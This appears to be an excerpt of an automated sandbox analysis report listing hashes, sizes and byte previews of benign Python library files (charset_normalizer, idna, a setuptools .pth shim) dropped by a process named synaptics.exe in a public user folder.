SSDEEP:	24:oV4U0b8ybWPxg+QQMzy/ClB3N/PLo3bIB3Nvh4VMhGlXwu+H2C/4PvBGJOcug/BA:A4jbqjQtyat/c2vhCMhju/C/yv+K2eUy
MD5:	6A2C7AC20CDFA210BF2BE6A9242CAE14
SHA1:	AC8E8A1D9B4C39813EE3D77088A49A5B9DF8CE3D
SHA-256:	2C4C72594F11E38674EA85E75EAA410405439D21DFD92F8B65AD9ACE8A921F01
SHA-512:	CB6713602BAD7FBD464FAD0A1E6BB6D60339F98B900029F0ECFD1455054FEBF206DEEC6BA5647AFC2DF397EAFCED8478880F2AA2FDF89FEBA33884FA28418ABF
Malicious:	false
Reputation:	low
Preview:	o.......>..fW........................@...sx...d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.e...d.....e.........d.S.).u.....Charset-Normalizer.~~~~~~~~~~~~~~.The Real First Universal Charset Detector..A library that helps you read text from an unknown charset encoding..Motivated by chardet, This package is trying to resolve the issue by taking a new approach..All IANA character set names for which the Python core library provides codecs are supported...Basic usage:. >>> from charset_normalizer import from_bytes. >>> results = from_bytes('B.... ..... ... ..... .. ............ O............!'.encode('utf_8')). >>> best_guess = results.best(). >>> str(best_guess). 'B.... ..... ... ..... .. ............ O............!'..Others methods and usages are available - see the full documentation.at <https://github.com/Ousret/charset_normalizer>..:copyright

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\init.cpython-310.pyc.74551840

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	5.709452859356648
Encrypted:	false
SSDEEP:	24:oV4U0b8ybWPxg+QQMzy/ClB3N/PLo3bIB3Nvh4VMhGlXwu+H2C/4PvBGJOcug/BA:A4jbqjQtyat/c2vhCMhju/C/yv+K2eUy
MD5:	6A2C7AC20CDFA210BF2BE6A9242CAE14
SHA1:	AC8E8A1D9B4C39813EE3D77088A49A5B9DF8CE3D
SHA-256:	2C4C72594F11E38674EA85E75EAA410405439D21DFD92F8B65AD9ACE8A921F01
SHA-512:	CB6713602BAD7FBD464FAD0A1E6BB6D60339F98B900029F0ECFD1455054FEBF206DEEC6BA5647AFC2DF397EAFCED8478880F2AA2FDF89FEBA33884FA28418ABF
Malicious:	false
Reputation:	low
Preview:	o.......>..fW........................@...sx...d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.e...d.....e.........d.S.).u.....Charset-Normalizer.~~~~~~~~~~~~~~.The Real First Universal Charset Detector..A library that helps you read text from an unknown charset encoding..Motivated by chardet, This package is trying to resolve the issue by taking a new approach..All IANA character set names for which the Python core library provides codecs are supported...Basic usage:. >>> from charset_normalizer import from_bytes. >>> results = from_bytes('B.... ..... ... ..... .. ............ O............!'.encode('utf_8')). >>> best_guess = results.best(). >>> str(best_guess). 'B.... ..... ... ..... .. ............ O............!'..Others methods and usages are available - see the full documentation.at <https://github.com/Ousret/charset_normalizer>..:copyright

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\api.cpython-310.pyc.61116832

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11385
Entropy (8bit):	5.821640867954899
Encrypted:	false
SSDEEP:	192:OWeJLd8V6fySfPAraft774k4M1Cz9ZZERmOBJzCTrFkYAr64BpmA+ifAgQSK5FQm:OWeJLdcS7ft77cZZaLzCvNm64mA+ifA9
MD5:	CA08A5DDFD14D6EF7BB6C03B156982BD
SHA1:	F431AE54106767C1FC8626E510AEF872A5F21A05
SHA-256:	600CE5E19397A6510430623A00C74C8498C5B03311CE55F4B0E027E29FF1D90E
SHA-512:	F5C82B3B6A595E2BD72387891D5F728B937B51D914593AFFDA02ECA74EED67062B7733A29725622C3835A0179C0A8392D9E747DDE7662052E35A215B4FD8EC8A
Malicious:	false
Reputation:	low
Preview:	o.......>..f.T.......................@...sL...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.. d...Z!e.."..Z#e#.$e..%d.........................d(d.e.e&e'f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d.d...Z,..................d(d.e.d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d d!..Z-..................d(d"e.ee&e.f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d#d$..Z...................d)d%e.e.ee.e&f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e+f.d&d'..Z/d.S.)*.....N)...PathLike)...BinaryIO..List..Optional..Set..Union.....)...coherence_ratio..encoding_languages..mb_encoding_languages..merge_coherence_ratios)...IANA_SUPPORTED..TOO_BIG_SEQUENCE..TOO_SMALL_SEQUENCE..TRACE)...mess_ratio)...CharsetMatch..CharsetMatches)...any_specified_encoding..cut_sequence_chunks..iana_name..identify_sig_or_bom..is_cp_similar..is_multi_b

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\api.cpython-310.pyc.74551968

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11385
Entropy (8bit):	5.821640867954899
Encrypted:	false
SSDEEP:	192:OWeJLd8V6fySfPAraft774k4M1Cz9ZZERmOBJnCTrFkYAr64BpmA+ifAgQSK5FQm:OWeJLdcS7ft77cZZaLnCvNm64mA+ifA9
MD5:	983C6602469917B07BE91A3470625875
SHA1:	FE9E447441B16B40662CEB1A98CB7408B025BB2C
SHA-256:	F9BB8EC9004A94D07BD22FA0D8E5918A2BBB76DB28C1F98B8E1ED7DA8DC38722
SHA-512:	72FF2A71CCE2AEACFAE8CEEFEEE9C9BE48BB00D63512492395B799E462CD1B955535A41576965E95434993691EF5C78B66CB071932075AE289D5A35B5523733C
Malicious:	false
Reputation:	low
Preview:	o.......>..f.T.......................@...sL...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.. d...Z!e.."..Z#e#.$e..%d.........................d(d.e.e&e'f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d.d...Z,..................d(d.e.d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d d!..Z-..................d(d"e.ee&e.f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d#d$..Z...................d)d%e.e.ee.e&f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e+f.d&d'..Z/d.S.)*.....N)...PathLike)...BinaryIO..List..Optional..Set..Union.....)...coherence_ratio..encoding_languages..mb_encoding_languages..merge_coherence_ratios)...IANA_SUPPORTED..TOO_BIG_SEQUENCE..TOO_SMALL_SEQUENCE..TRACE)...mess_ratio)...CharsetMatch..CharsetMatches)...any_specified_encoding..cut_sequence_chunks..iana_name..identify_sig_or_bom..is_cp_similar..is_multi_b

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\cd.cpython-310.pyc.61117088

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9646
Entropy (8bit):	5.5173709961220645
Encrypted:	false
SSDEEP:	192:6q59eApoIRl8if8rZ+IjfsmspqbQO0opPc7HPM4pOfXntTatDlA5u4ZBTWm:V5FTf8rkmypO0iPc7Hk4pOfXnQJlYuOB
MD5:	95332C512D3C08D71872DDE640372179
SHA1:	6184FC2DEC17CB31640D174D59BAA2C90BA7CB68
SHA-256:	28BC1A24776BD14D202015C169EB80A18A8D62089E3B6817C59C49CECF0971C7
SHA-512:	49F115EAA62100360C48684A59022074CCEB7290B9C8222AB84B07A4AEE69C9E918F7CC108E45F5E7EC1674BFFA6601C6C24D16A4A4293503C39147FDFC7AB4B
Malicious:	false
Reputation:	low
Preview:	o.......>..f.2.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.e.d.e.e...f.d.d...Z.d.e.d.e.e...f.d.d...Z.e...d.e.d.e.e...f.d.d.....Z e...d.e.d.e.e...f.d.d.....Z!e.e.d...d.e.d.e.e"e"f...f.d.d.....Z#..d0d.e.e...d.e"d.e.e...f.d.d...Z$d.e.d.e.e...d.e%f.d d!..Z&d"e.d.e.e...f.d#d$..Z'd%e.e...d.e.f.d&d'..Z(d%e.d.e.f.d(d)..Z)e.dd.....d1d"e.d,e%d-e.e...d.e.f.d.d/....Zd.S.)2.....N)...IncrementalDecoder)...Counter)...lru_cache).r......Dict..List..Optional..Tuple.....)...FREQUENCIES..KO_NAMES..LANGUAGE_SUPPORTED_COUNT..TOO_SMALL_SEQUENCE..ZH_NAMES).. is_suspiciously_successive_range)...CoherenceMatches)...is_accentuated..is_latin..is_multi_byte_encoding..is_unicode_range_secondary..unicode_range..iana_name..returnc........................s....t.\|...r.t.d.....t...d...\|.....j.}.\|.d.d...}.i...d...t.d.d...D.]/}.\|...t.\|.g.....}.\|.rNt.\|...}.\|.d.u.r4q.t.\|...d.u.rN\|...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\cd.cpython-310.pyc.74552224

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9646
Entropy (8bit):	5.5173709961220645
Encrypted:	false
SSDEEP:	192:6q59eApoIRl8if8rZ+IjfsmspqbQO0opPc7HPM4pOfXntTatDlA5u4ZBTWm:V5FTf8rkmypO0iPc7Hk4pOfXnQJlYuOB
MD5:	95332C512D3C08D71872DDE640372179
SHA1:	6184FC2DEC17CB31640D174D59BAA2C90BA7CB68
SHA-256:	28BC1A24776BD14D202015C169EB80A18A8D62089E3B6817C59C49CECF0971C7
SHA-512:	49F115EAA62100360C48684A59022074CCEB7290B9C8222AB84B07A4AEE69C9E918F7CC108E45F5E7EC1674BFFA6601C6C24D16A4A4293503C39147FDFC7AB4B
Malicious:	false
Reputation:	low
Preview:	o.......>..f.2.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.e.d.e.e...f.d.d...Z.d.e.d.e.e...f.d.d...Z.e...d.e.d.e.e...f.d.d.....Z e...d.e.d.e.e...f.d.d.....Z!e.e.d...d.e.d.e.e"e"f...f.d.d.....Z#..d0d.e.e...d.e"d.e.e...f.d.d...Z$d.e.d.e.e...d.e%f.d d!..Z&d"e.d.e.e...f.d#d$..Z'd%e.e...d.e.f.d&d'..Z(d%e.d.e.f.d(d)..Z)e.dd.....d1d"e.d,e%d-e.e...d.e.f.d.d/....Zd.S.)2.....N)...IncrementalDecoder)...Counter)...lru_cache).r......Dict..List..Optional..Tuple.....)...FREQUENCIES..KO_NAMES..LANGUAGE_SUPPORTED_COUNT..TOO_SMALL_SEQUENCE..ZH_NAMES).. is_suspiciously_successive_range)...CoherenceMatches)...is_accentuated..is_latin..is_multi_byte_encoding..is_unicode_range_secondary..unicode_range..iana_name..returnc........................s....t.\|...r.t.d.....t...d...\|.....j.}.\|.d.d...}.i...d...t.d.d...D.]/}.\|...t.\|.g.....}.\|.rNt.\|...}.\|.d.u.r4q.t.\|...d.u.rN\|...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\constant.cpython-310.pyc.61117728

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	30434
Entropy (8bit):	5.881610823760447
Encrypted:	false
SSDEEP:	768:qvZKN0taqbKcwF7wuCDXChWbpp2dmnFu3GJusAVlufzR7c:qvZ6EKcR7TcEP8g8luft7c
MD5:	F68EE8114942AAFC4D7DE8E6BADE67B2
SHA1:	97736CB2C481758A8AD2EAD17BBD495DD26ADC1F
SHA-256:	20291DE98C43D5BC149304305FBADE7E54E1726803696F7EBF7BA27512BFD21F
SHA-512:	51F0DC6B3F8FB9D6DDAB7DEFE2B323D79D301397F75DDE796345D19FF0CFF23C17832683721B73F0F7D28B2B136D7ADB4492B40F1C4790268A5543A1E0B887AE
Malicious:	false
Reputation:	low
Preview:	o.......>..f........................@...s~...U.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.g.d...d.e.e.g.e.e.g.d...Z.e.e.e.e.e.e...f...f...e.d.<.d.Z.e.e.d.<.e.d...Z.e.e.d.<.d.Z.e.e.d.<.i.d.e.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d e.d.d!....d"e.d!d#....d$e.d#d%....d&e.d%d'....d(e.d'd)....d*e.d)d+....d,e.d+d-....d.e.d-d/....i.d0e.d/d1....d2e.d1d3....d4e.d3d5....d6e.d5d7....d8e.d7d9....d:e.d9d;....d<e.d;d=....d>e.d=d?....d@e.d?dA....dBe.dAdC....dDe.dCdE....dFe.dEdG....dHe.dGdI....dJe.dIdK....dLe.dKdM....dNe.dMdO....dPe.dOdQ......i.dRe.dQdS....dTe.dSdU....dVe.dUdW....dXe.dWdY....dZe.dYd[....d\e.d[d]....d^e.d]d_....d`e.d_da....dbe.dadc....dde.dcde....dfe.dedg....dhe.dgdi....dje.didk....dle.dkdm....dne.dmdo....dpe.dodq....dre.dqds......i.dte.dsdu....dve.dudw....dxe.dwdy....dze.dyd{....d\|e.d{d}....d~e.d}d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\constant.cpython-310.pyc.74552864

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	30434
Entropy (8bit):	5.881610823760447
Encrypted:	false
SSDEEP:	768:qvZKN0taqbKcwF7wuCDa5Pybpp2dmnFu3GJusAVlufzR7c:qvZ6EKcR7GR4P8g8luft7c
MD5:	C470ABA5BCE64142973E99B2F601F32A
SHA1:	97DB2264AD51B6EA90FAF64C88B2AE54BD0908C7
SHA-256:	F7441C656E7D4BF89F39A487C349053E89DCB28E3FDED35C405A5C4EC2896CEB
SHA-512:	9CA1614C7F44183A7FB56CD50C9974CE70B770D881DC5B8D211F54E82D7438E52BF3C0BB9252905160109359BC6FB4AE271CA17B958409662A298EA41D5D7117
Malicious:	false
Reputation:	low
Preview:	o.......>..f........................@...s~...U.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.g.d...d.e.e.g.e.e.g.d...Z.e.e.e.e.e.e...f...f...e.d.<.d.Z.e.e.d.<.e.d...Z.e.e.d.<.d.Z.e.e.d.<.i.d.e.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d e.d.d!....d"e.d!d#....d$e.d#d%....d&e.d%d'....d(e.d'd)....d*e.d)d+....d,e.d+d-....d.e.d-d/....i.d0e.d/d1....d2e.d1d3....d4e.d3d5....d6e.d5d7....d8e.d7d9....d:e.d9d;....d<e.d;d=....d>e.d=d?....d@e.d?dA....dBe.dAdC....dDe.dCdE....dFe.dEdG....dHe.dGdI....dJe.dIdK....dLe.dKdM....dNe.dMdO....dPe.dOdQ......i.dRe.dQdS....dTe.dSdU....dVe.dUdW....dXe.dWdY....dZe.dYd[....d\e.d[d]....d^e.d]d_....d`e.d_da....dbe.dadc....dde.dcde....dfe.dedg....dhe.dgdi....dje.didk....dle.dkdm....dne.dmdo....dpe.dodq....dre.dqds......i.dte.dsdu....dve.dudw....dxe.dwdy....dze.dyd{....d\|e.d{d}....d~e.d}d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\legacy.cpython-310.pyc.74553376

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	5.510079891018974
Encrypted:	false
SSDEEP:	48:owwE8mcebSh3Ue75yubxeNOhsV4Me+NK29:owAmcebSyo5yc4NFV4Me+Nn
MD5:	CE5739AC4A83CF18DDE2541086918D91
SHA1:	CE199819AEA1EAC78114C477AF2568D892F17256
SHA-256:	9DD8259AAB877C489B141B8F9E31D4BA829AF873FF8A7CC8AF8893773F58FD25
SHA-512:	EDB71150D04678FA92E8EE35704AA062E9500A050FCE9C331A321A1EBE39F506FA66D5C54529D7C030B272D8377538A4145DFEBEE479C6B7F9F6D82FC12022D4
Malicious:	false
Reputation:	low
Preview:	o.......>..fM........................@...sr...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.d.e.d.e.d.e.d.e.e.e.e.e.e.f.....f...f.d.d...Z.d.S.)......)...Any..Dict..Optional..Union)...warn.....)...from_bytes)...CHARDET_CORRESPONDENCEF..byte_str..should_rename_legacy..kwargs..returnc....................K...s....t.\|...r.t.d.d...t.\|...........d.......t.\|.t.t.f...s#t.d...t.\|.........t.\|.t...r,t.\|...}.t.\|.......}.\|.d.u.r9\|.j.n.d.}.\|.d.u.rG\|.j.d.k.rG\|.j.n.d.}.\|.d.u.rRd.\|.j...n.d.}.\|.d.u.rc\|.d.k.rc\|.j.rc\|.d.7.}.\|.d.u.ro\|.t.v.rot.\|...}.\|.\|.\|.d...S.).aJ.... chardet legacy method. Detect the encoding of the given byte string. It should be mostly backward-compatible.. Encoding name will match Chardet own writing whenever possible. (Not on encoding name unsupported by it). This function is deprecated and should be used to migrate your project easily, consult the documentation for. further information. Not planned for removal... :param byte_str: The byte seque

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\models.cpython-310.pyc.61118496

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11529
Entropy (8bit):	5.174314918222234
Encrypted:	false
SSDEEP:	192:N3OucwM2HQVZI3mkrM0Af4/W7QeyRhhpermRK+pQCBdjWdIq:NeuvM2HQVZIjrdAf4eSvhpeKc+iCHWdD
MD5:	9B0C0FCAF5CB5FF7C0D4D23E83DE35A3
SHA1:	7137C75E29FADCB8E8AE6A4279805D6EB86C3E0C
SHA-256:	E03827CFFB94785EB9C72A2F1CA5BCD342FF6A8197237FA7614BA1C69917DBD6
SHA-512:	E25D99A30A6A055F2C3403604157964DC98D81D6549BFDBA26ED42CEB9C52442B9CE10AF4EEB2F34B40E03AFC0CFDAF3FD47229CAA01360BE52E0A35B4658F6D
Malicious:	false
Reputation:	low
Preview:	o.......>..f.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d...Z.G.d.d...d...Z.e.e.e.f...Z.e.e...Z.G.d.d...d...Z.d.S.)......)...aliases)...sha256)...dumps)...Any..Dict..Iterator..List..Optional..Tuple..Union.....)...TOO_BIG_SEQUENCE)...iana_name..is_multi_byte_encoding..unicode_rangec....................@...s....e.Z.d.Z...d=d.e.d.e.d.e.d.e.d.d.d.e.e...f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.e.d.e.f.d.d.....Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d>d.d...Z.e.d.e.f.d.d.....Z.e.d.e.e...f.d.d.....Z.e.d.e.f.d.d.....Z.e.d.e.f.d.d ....Z.e.d.e.e...f.d!d"....Z.e.d.e.f.d#d$....Z.e.d.e.f.d%d&....Z.e.d.e.f.d'd(....Z.e.d.e.f.d)d*....Z.e.d.e.f.d+d,....Z.e.d.e.f.d-d.....Z.e.d.e.d...f.d/d0....Z.e.d.e.f.d1d2....Z.e.d.e.e...f.d3d4....Z.e.d.e.e...f.d5d6....Z d?d8e.d.e.f.d9d:..Z!e.d.e.f.d;d<....Z"d.S.)@..CharsetMatchN..payload..guessed_encoding..mean_mess_ratio..has_sig_or_bom..languages..CoherenceMatches..decod

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\models.cpython-310.pyc.74552224

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11529
Entropy (8bit):	5.174314918222234
Encrypted:	false
SSDEEP:	192:N3OucwM2HQVZI3mkrM0Af4/W7QeyRhhpermRK+pQCBdjWdIq:NeuvM2HQVZIjrdAf4eSvhpeKc+iCHWdD
MD5:	9B0C0FCAF5CB5FF7C0D4D23E83DE35A3
SHA1:	7137C75E29FADCB8E8AE6A4279805D6EB86C3E0C
SHA-256:	E03827CFFB94785EB9C72A2F1CA5BCD342FF6A8197237FA7614BA1C69917DBD6
SHA-512:	E25D99A30A6A055F2C3403604157964DC98D81D6549BFDBA26ED42CEB9C52442B9CE10AF4EEB2F34B40E03AFC0CFDAF3FD47229CAA01360BE52E0A35B4658F6D
Malicious:	false
Reputation:	low
Preview:	o.......>..f.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d...Z.G.d.d...d...Z.e.e.e.f...Z.e.e...Z.G.d.d...d...Z.d.S.)......)...aliases)...sha256)...dumps)...Any..Dict..Iterator..List..Optional..Tuple..Union.....)...TOO_BIG_SEQUENCE)...iana_name..is_multi_byte_encoding..unicode_rangec....................@...s....e.Z.d.Z...d=d.e.d.e.d.e.d.e.d.d.d.e.e...f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.e.d.e.f.d.d.....Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d>d.d...Z.e.d.e.f.d.d.....Z.e.d.e.e...f.d.d.....Z.e.d.e.f.d.d.....Z.e.d.e.f.d.d ....Z.e.d.e.e...f.d!d"....Z.e.d.e.f.d#d$....Z.e.d.e.f.d%d&....Z.e.d.e.f.d'd(....Z.e.d.e.f.d)d*....Z.e.d.e.f.d+d,....Z.e.d.e.f.d-d.....Z.e.d.e.d...f.d/d0....Z.e.d.e.f.d1d2....Z.e.d.e.e...f.d3d4....Z.e.d.e.e...f.d5d6....Z d?d8e.d.e.f.d9d:..Z!e.d.e.f.d;d<....Z"d.S.)@..CharsetMatchN..payload..guessed_encoding..mean_mess_ratio..has_sig_or_bom..languages..CoherenceMatches..decod

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\utils.cpython-310.pyc.74553376

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8910
Entropy (8bit):	5.468404511247454
Encrypted:	false
SSDEEP:	96:HnaWkveyNwQTpaKOvKDqBd9KkzZYozi7WHLuo8+bactNZo87af2sfGdrB6bQPTIT:kvk+DqBNzk7yuoXbFLZDafhGdpr4FFv
MD5:	FDAE1F27E1DC1624E378592E306E8A96
SHA1:	D4625F16E177AC3620FA821BA98632CCD819A6C9
SHA-256:	FC51837708A2EBA238C77AFFB44C0D41DB8A2C0BC136683B73C624366D9812CF
SHA-512:	BB4507723FA85FE427065CCEA7F0803614093C89F5DC79A67B5AE690B61F84925B4789E245705B3FB236F35177EA4C077BDD39573AFF20EB2AD1CEF5DC86C68E
Malicious:	false
Reputation:	low
Preview:	o.......>..f.0.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.e.d...d.e.d.e.f.d.d.....Z.e.e.d...d.e.d.e.f.d.d.....Z.e.e.d...d.e.d.e.e...f.d.d.....Z.e.e.d...d.e.d.e.f.d.d.....Z e.e.d...d.e.d.e.f.d.d.....Z!e.e.d...d.e.d.e.f.d.d.....Z"e.e.d...d.e.d.e.f.d.d.....Z#e.e.d...d.e.d.e.f.d.d.....Z$e.e.d...d.e.d.e.f.d.d.....Z%e.e.d...d.e.d.e.f.d.d ....Z&e.e.d...d.e.d.e.f.d!d"....Z'e.e.d...d.e.d.e.f.d#d$....Z(e.e.d...d.e.d.e.f.d%d&....Z)e.e.d...d.e.d.e.f.d'd(....Ze.e.d...d.e.d.e.f.d)d....Z+e.e.d...d.e.d.e.f.d+d,....Z,e.e-e...d...d-e.d.e.f.d.d/....Z.e.e.d...d.e.d.e.f.d0d1....Z/d_d3e0d4e1d.e.e...f.d5d6..Z2e.d7d...d8e.d.e.f.d9d:....Z3d3e0d.e.e.e...e0f...f.d;d<..Z4d=e.d.e.f.d>d?..Z5d`dAe.dBe.d.e.f.dCdD..Z6dEe.d.e.e...f.dFdG..Z7dHe.dIe.d.e8f.dJdK..Z9dHe.dIe.d.e.f.dLdM..Z:dNe.j;dOf.d8e.dPe1dQe.d.d.f.dRdS..Z<..dadTe0dUe.dVe=dWe1dXe.dYe.dZe0d[e.d\e.e...d.e.e.d.d.f...f.d]d^

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\charset_normalizer\pycache\version.cpython-310.pyc.74553888

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	5.300756479627271
Encrypted:	false
SSDEEP:	6:y/BGt/z/Oszurb64bJf+uaHxEM9ArsQx6G3D8Isi:CQ/z/OsJaJwlBQ8GT8Iv
MD5:	E4000410CF40C2B2FA3F2491B04A9B58
SHA1:	491ECDE66A6F7BDE1E8CE10E5F23410AE7F1FF0D
SHA-256:	2AB5CA783723F2BB0186DFEAA70B8562FB3FB9730F64D8443B0E31E52884A37E
SHA-512:	D4DCD22266C7A62ECE27DE4327D915CE0F8766E458F434516AED6C42A8E76EDAA0295A20A466F6F3211B4FA13BCBB8AE5E0A0F3A55876DB82D8F9784549FE7CD
Malicious:	false
Reputation:	low
Preview:	o.......>..fU........................@...s....d.Z.d.Z.e...d...Z.d.S.).z..Expose version.z.3.3.2...N)...__doc__..__version__..split..VERSION..r....r.....LC:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\version.py..<module>....s..........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\distutils-precedence.pth

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.923660846981479
Encrypted:	false
SSDEEP:	3:JSxYEVoC2gxAxCKKFuGA0jpSHEeGMMrMePAoSoKBW6BMW2y+C1e5k:aYEVo10AxCKeuXypcrNB96W2y+Bk
MD5:	18D27E199B0D26EF9B718CE7FF5A8927
SHA1:	EA9C9BFC82AD47E828F508742D7296E69D2226E4
SHA-256:	2638CE9E2500E572A5E0DE7FAED6661EB569D1B696FCBA07B0DD223DA5F5D224
SHA-512:	B8504949F3DDF0089164B0296E8371D7DCDD4C3761FB17478994F5E6943966528A45A226EBA2D5286B9C799F0EB8C99BD20CBD8603A362532B3A65DD058FA42E
Malicious:	false
Reputation:	low
Preview:	import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim(); .

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\idna\pycache\init.cpython-310.pyc.61158128

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	5.105060865619361
Encrypted:	false
SSDEEP:	12:CSCSrJBifjefr9xLGmdChEYOcAMmXkOOs28s4qUUjOs28ssqU/C+Vlyzx5:pijeXL/whvOcAdtOb8fcjOb897g
MD5:	992F897492FD29277FB10EC9B4358526
SHA1:	41A00693E4644B3C64FBD1B88381A7170C16CAF2
